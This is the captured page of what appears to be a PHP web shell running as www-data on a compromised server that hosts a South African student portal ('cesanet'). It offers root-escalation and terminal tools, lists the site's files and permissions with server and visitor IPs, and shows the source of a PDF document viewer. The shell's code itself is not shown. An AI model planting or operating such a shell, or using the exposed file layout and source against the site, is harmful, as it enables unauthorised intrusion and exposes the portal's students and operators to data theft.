Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
cesanet /
Delete
Unzip
Name
Size
Permission
Date
Action
BCE Home cover_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:07
BCE Introduction_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:07
BCE RESOURCE AND SUPPORT_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:08
BCE RULES AND REGULATIONS_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:07
BCE THE LEARNING PROGRAMME_files
[ DIR ]
drwxr-sr-x
2012-03-12 06:08
SpryAssets
[ DIR ]
drwxr-sr-x
2013-02-14 22:54
ajax
[ DIR ]
drwxr-sr-x
2026-08-20 14:43
assignments
[ DIR ]
drwxr-sr-x
2022-03-07 13:03
docthumbs
[ DIR ]
drwxr-sr-x
2022-03-14 09:40
facilitators
[ DIR ]
drwxr-sr-x
2012-01-18 08:00
guidelines
[ DIR ]
drwxr-sr-x
2021-04-29 08:34
images
[ DIR ]
drwxr-sr-x
2023-04-18 07:54
includes
[ DIR ]
drwxr-sr-x
2024-02-23 09:41
lightbox
[ DIR ]
drwxr-sr-x
2012-07-02 08:44
pdf
[ DIR ]
drwxr-sr-x
2012-03-15 12:53
pdf-viewer
[ DIR ]
drwxr-sr-x
2025-02-20 13:18
visual-countdown-timer
[ DIR ]
drwxr-sr-x
2021-11-03 09:27
activities.php
6.49
KB
-rw-r--r--
2024-02-23 09:36
activityadd.php
7.44
KB
-rw-r--r--
2024-02-23 09:36
advisory.php
1.37
KB
-rw-r--r--
2024-02-23 09:36
assignmentadd.php
43.1
KB
-rw-r--r--
2026-08-19 12:45
assignmentinfo.php
2.96
KB
-rw-r--r--
2025-02-24 16:01
assignmentpack.php
4.66
KB
-rw-r--r--
2024-02-23 09:36
assignmentpdf.php
3.64
KB
-rw-r--r--
2024-02-23 09:36
assignments.php
14.04
KB
-rw-r--r--
2026-06-24 12:03
assigsummary.php
12.25
KB
-rw-r--r--
2025-04-14 08:46
calendar.js
13.28
KB
-rw-r--r--
2024-02-23 09:36
calendar.php
502
B
-rw-r--r--
2024-02-23 09:47
cceregister.php
22.5
KB
-rw-r--r--
2013-10-09 08:40
changedates.php
1.35
KB
-rw-r--r--
2024-02-23 09:36
contacts.php
4.87
KB
-rw-r--r--
2025-06-26 12:42
contacts_students.php
2.34
KB
-rw-r--r--
2024-02-27 11:36
details.php
9.24
KB
-rw-r--r--
2025-02-06 10:38
document-pdf-proxy.php
1.95
KB
-rw-r--r--
2025-06-27 10:14
document-view.php
7.35
KB
-rw-r--r--
2025-06-27 12:42
download_student_agreement.php
1.71
KB
-rw-r--r--
2026-03-16 11:53
evaluations.php
6.85
KB
-rw-r--r--
2024-02-23 09:36
exam.php
47.02
KB
-rw-r--r--
2026-08-25 07:11
examresults.php
3.01
KB
-rw-r--r--
2026-02-17 09:45
extension.php
11.33
KB
-rw-r--r--
2026-08-19 12:45
feedback.php
3.91
KB
-rw-r--r--
2024-02-23 09:36
feedbackmsgs.php
5.04
KB
-rw-r--r--
2024-03-25 10:07
file-download.php
343
B
-rw-r--r--
2026-06-24 12:03
forgotpwd.php
2.57
KB
-rw-r--r--
2024-02-23 09:36
gallery.php
1.75
KB
-rw-r--r--
2024-02-23 09:36
guideline-view.php
812
B
-rw-r--r--
2026-02-17 09:45
guideline.php
1
KB
-rw-r--r--
2026-02-17 09:45
guideline_intro.php
14.2
KB
-rw-r--r--
2024-02-23 09:36
guideline_notes.php
2.35
KB
-rw-r--r--
2024-02-23 09:36
guideline_programme.php
39.82
KB
-rw-r--r--
2024-02-23 09:36
guideline_resources.php
21.47
KB
-rw-r--r--
2024-02-23 09:36
guideline_rules.php
44.97
KB
-rw-r--r--
2024-02-23 09:36
inc_dashboard.php
28.4
KB
-rw-r--r--
2026-08-20 12:16
inc_footer.php
412
B
-rw-r--r--
2025-02-20 13:01
inc_footer_html.php
59
B
-rw-r--r--
2024-02-23 09:36
inc_functions.php
1.86
KB
-rw-r--r--
2026-06-24 12:03
inc_guidelinemenu.php
944
B
-rw-r--r--
2024-02-23 09:36
inc_header.php
2.46
KB
-rw-r--r--
2025-02-20 13:01
inc_header_html.php
1.34
KB
-rw-r--r--
2024-02-23 09:36
inc_shared.php
27.07
KB
-rw-r--r--
2026-08-19 12:45
inc_sidebar.php
9.54
KB
-rw-r--r--
2026-05-13 15:17
index.php
8.47
KB
-rw-r--r--
2026-06-02 08:33
library-old.php
8.46
KB
-rw-r--r--
2024-02-16 11:19
library-render.php
11.09
KB
-rw-r--r--
2026-04-29 07:23
library.php
474
B
-rw-r--r--
2024-02-25 11:44
login.php
2.79
KB
-rw-r--r--
2025-02-06 10:39
logout.php
129
B
-rw-r--r--
2024-02-23 09:36
markmessagesread.php
546
B
-rw-r--r--
2024-02-23 09:36
messages.php
4.14
KB
-rw-r--r--
2026-05-05 11:48
modcontact.php
26.51
KB
-rw-r--r--
2026-07-30 15:46
module.php
2.78
KB
-rw-r--r--
2024-02-23 09:36
notices.php
2.73
KB
-rw-r--r--
2024-02-23 09:36
password.php
2.52
KB
-rw-r--r--
2024-02-23 09:36
pdfthumb.php
230
B
-rw-r--r--
2024-02-23 09:36
php_errors.log
14.11
KB
-rw-r--r--
2026-08-21 08:24
phpinfo.php
17
B
-rw-r--r--
2025-06-09 13:16
popups.php
1.71
KB
-rw-r--r--
2024-02-23 09:36
profile.php
14.69
KB
-rw-r--r--
2026-03-16 11:53
profile_mentor.php
4.23
KB
-rw-r--r--
2024-02-23 09:36
progress_report.php
2.53
KB
-rw-r--r--
2026-05-13 15:17
readmessage.php
2.49
KB
-rw-r--r--
2026-05-19 07:04
recommended.php
5.94
KB
-rw-r--r--
2024-02-16 11:18
resources.php
4.14
KB
-rw-r--r--
2024-02-23 09:36
results.php
1.54
KB
-rw-r--r--
2024-02-23 09:36
saveexam.php
5.72
KB
-rw-r--r--
2025-11-19 09:45
sentmessages.php
1.66
KB
-rw-r--r--
2024-03-27 09:30
style.css
26.86
KB
-rw-r--r--
2025-02-20 13:04
submittedactivities.php
2.98
KB
-rw-r--r--
2024-02-23 09:36
submittedassignments.php
7.78
KB
-rw-r--r--
2026-06-24 12:03
templates.php
2.08
KB
-rw-r--r--
2024-02-23 09:36
timetable-render.php
2.27
KB
-rw-r--r--
2025-02-20 13:03
timetable.php
476
B
-rw-r--r--
2024-03-16 16:02
v3_feedback_form.php
2.52
KB
-rw-r--r--
2026-05-27 08:23
v3_feedback_submit.php
2.55
KB
-rw-r--r--
2026-05-27 08:23
videos.php
4.06
KB
-rw-r--r--
2024-02-23 09:36
Save
Rename
<?php include("inc_functions.php"); if (!isset($_SESSION["StudentID"]) || empty($_SESSION["StudentID"]) || $_SESSION["StudentID"] == null) header("Location: /cesanet/login.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/cesanet/includes/html_begin.php"); $documentObj = new CCEDocuments($sqlf); $document = $documentObj->find($_REQUEST['CCEDocumentID'], $_SESSION["StudentID"]); ?> <h1>View Document</h1> <p align="center"> <?php if (is_array($document) && count($document) > 0) { // Mangle path to document $pdfPath = '/cesanet/document-pdf-proxy.php?token=' . $document['DocumentFile']; $_SESSION['document_token'] = $document['DocumentFile']; ?> <div id="pdf-viewer" style="position: relative; width: 100%; max-width: 800px; margin: 0 auto;"> <!-- Navigation controls --> <div style="text-align: center; margin-bottom: 10px; padding: 10px; background: #f8f9fa; border-radius: 5px;"> <button id="prev-page" class="btn btn-secondary" style="margin-right: 10px;">Previous</button> <span id="page-info" style="font-weight: bold;">Page 1</span> <button id="next-page" class="btn btn-secondary" style="margin-left: 10px;">Next</button> <button id="zoom-in" class="btn btn-outline-secondary" style="margin-left: 10px;">Zoom In</button> <button id="zoom-out" class="btn btn-outline-secondary" style="margin-left: 5px;">Zoom Out</button> </div> <p align="center"> Close this browser window to return to CESANet. </p> <!-- Canvas container --> <div id="canvas-container" style="position: relative; border: 1px solid #ddd; background: white; text-align: center; overflow: auto; max-height: 600px;"> <canvas id="pdf-canvas" style="border: none; user-select: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none;"></canvas> <!-- Watermark overlay --> <div id="watermark" style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%) rotate(-45deg); color: rgba(0,0,0,0.1); font-size: 24px; font-weight: bold; pointer-events: none; user-select: none; white-space: nowrap; z-index: 10;"> <?php echo htmlspecialchars($_SESSION["StudentID"]); ?> - <?php echo date("Y-m-d H:i:s"); ?> </div> </div> </div> <!-- Include PDF.js library --> <script src="https://cdnjs.cloudflare.com/ajax/libs/pdf.js/3.11.174/pdf.min.js"></script> <script> // Set PDF.js worker path pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://cdnjs.cloudflare.com/ajax/libs/pdf.js/3.11.174/pdf.worker.min.js'; let pdfDoc = null; let pageNum = 1; let pageRendering = false; let pageNumPending = null; let scale = 1.5; let canvas = document.getElementById('pdf-canvas'); let ctx = canvas.getContext('2d'); // Load the PDF pdfjsLib.getDocument('<?php echo $pdfPath; ?>').promise.then(function(pdf) { pdfDoc = pdf; document.getElementById('page-info').textContent = `Page ${pageNum} of ${pdf.numPages}`; // Initial render renderPage(pageNum); }).catch(function(error) { console.error('Error loading PDF:', error); document.getElementById('canvas-container').innerHTML = '<div class="alert alert-danger">Error loading PDF. Please contact support.</div>'; }); function renderPage(num) { pageRendering = true; pdfDoc.getPage(num).then(function(page) { let viewport = page.getViewport({ scale: scale }); canvas.height = viewport.height; canvas.width = viewport.width; let renderContext = { canvasContext: ctx, viewport: viewport }; let renderTask = page.render(renderContext); renderTask.promise.then(function() { pageRendering = false; if (pageNumPending !== null) { renderPage(pageNumPending); pageNumPending = null; } }); }); document.getElementById('page-info').textContent = `Page ${num} of ${pdfDoc.numPages}`; } function queueRenderPage(num) { if (pageRendering) { pageNumPending = num; } else { renderPage(num); } } function onPrevPage() { if (pageNum <= 1) { return; } pageNum--; queueRenderPage(pageNum); } function onNextPage() { if (pageNum >= pdfDoc.numPages) { return; } pageNum++; queueRenderPage(pageNum); } function zoomIn() { scale *= 1.2; queueRenderPage(pageNum); } function zoomOut() { scale /= 1.2; queueRenderPage(pageNum); } // Event listeners document.getElementById('prev-page').addEventListener('click', onPrevPage); document.getElementById('next-page').addEventListener('click', onNextPage); document.getElementById('zoom-in').addEventListener('click', zoomIn); document.getElementById('zoom-out').addEventListener('click', zoomOut); // Keyboard navigation document.addEventListener('keydown', function(e) { if (e.key === 'ArrowLeft' || e.key === 'PageUp') { e.preventDefault(); onPrevPage(); } else if (e.key === 'ArrowRight' || e.key === 'PageDown') { e.preventDefault(); onNextPage(); } else if (e.key === 'Home') { e.preventDefault(); pageNum = 1; queueRenderPage(pageNum); } else if (e.key === 'End') { e.preventDefault(); pageNum = pdfDoc.numPages; queueRenderPage(pageNum); } // Block other shortcuts if (e.ctrlKey && (e.key === 's' || e.key === 'p' || e.key === 'c' || e.key === 'u')) { e.preventDefault(); return false; } }); // Disable right-click document.addEventListener('contextmenu', function(e) { e.preventDefault(); return false; }); // Disable text selection document.getElementById('pdf-viewer').style.userSelect = 'none'; document.getElementById('pdf-viewer').style.webkitUserSelect = 'none'; document.getElementById('pdf-viewer').style.mozUserSelect = 'none'; document.getElementById('pdf-viewer').style.msUserSelect = 'none'; // Disable drag and drop document.addEventListener('dragstart', function(e) { e.preventDefault(); return false; }); // Disable copy document.addEventListener('copy', function(e) { e.preventDefault(); return false; }); // Override print function window.print = function() { alert('Printing is disabled for this document.'); return false; }; // Disable developer tools (F12) document.addEventListener('keydown', function(e) { if (e.key === 'F12' || (e.ctrlKey && e.shiftKey && e.key === 'I')) { e.preventDefault(); return false; } }); </script> <?php } else { echo '<div class="alert alert-warning">This document is currently not available.</div>'; } ?> </p> <p class="text-center mt-3"> <small class="text-muted"> This document is displayed using secure rendering. Right-clicking, printing, and copying are disabled. </small> </p> <?php include_once($_SERVER['DOCUMENT_ROOT'] . "/cesanet/includes/html_end.php");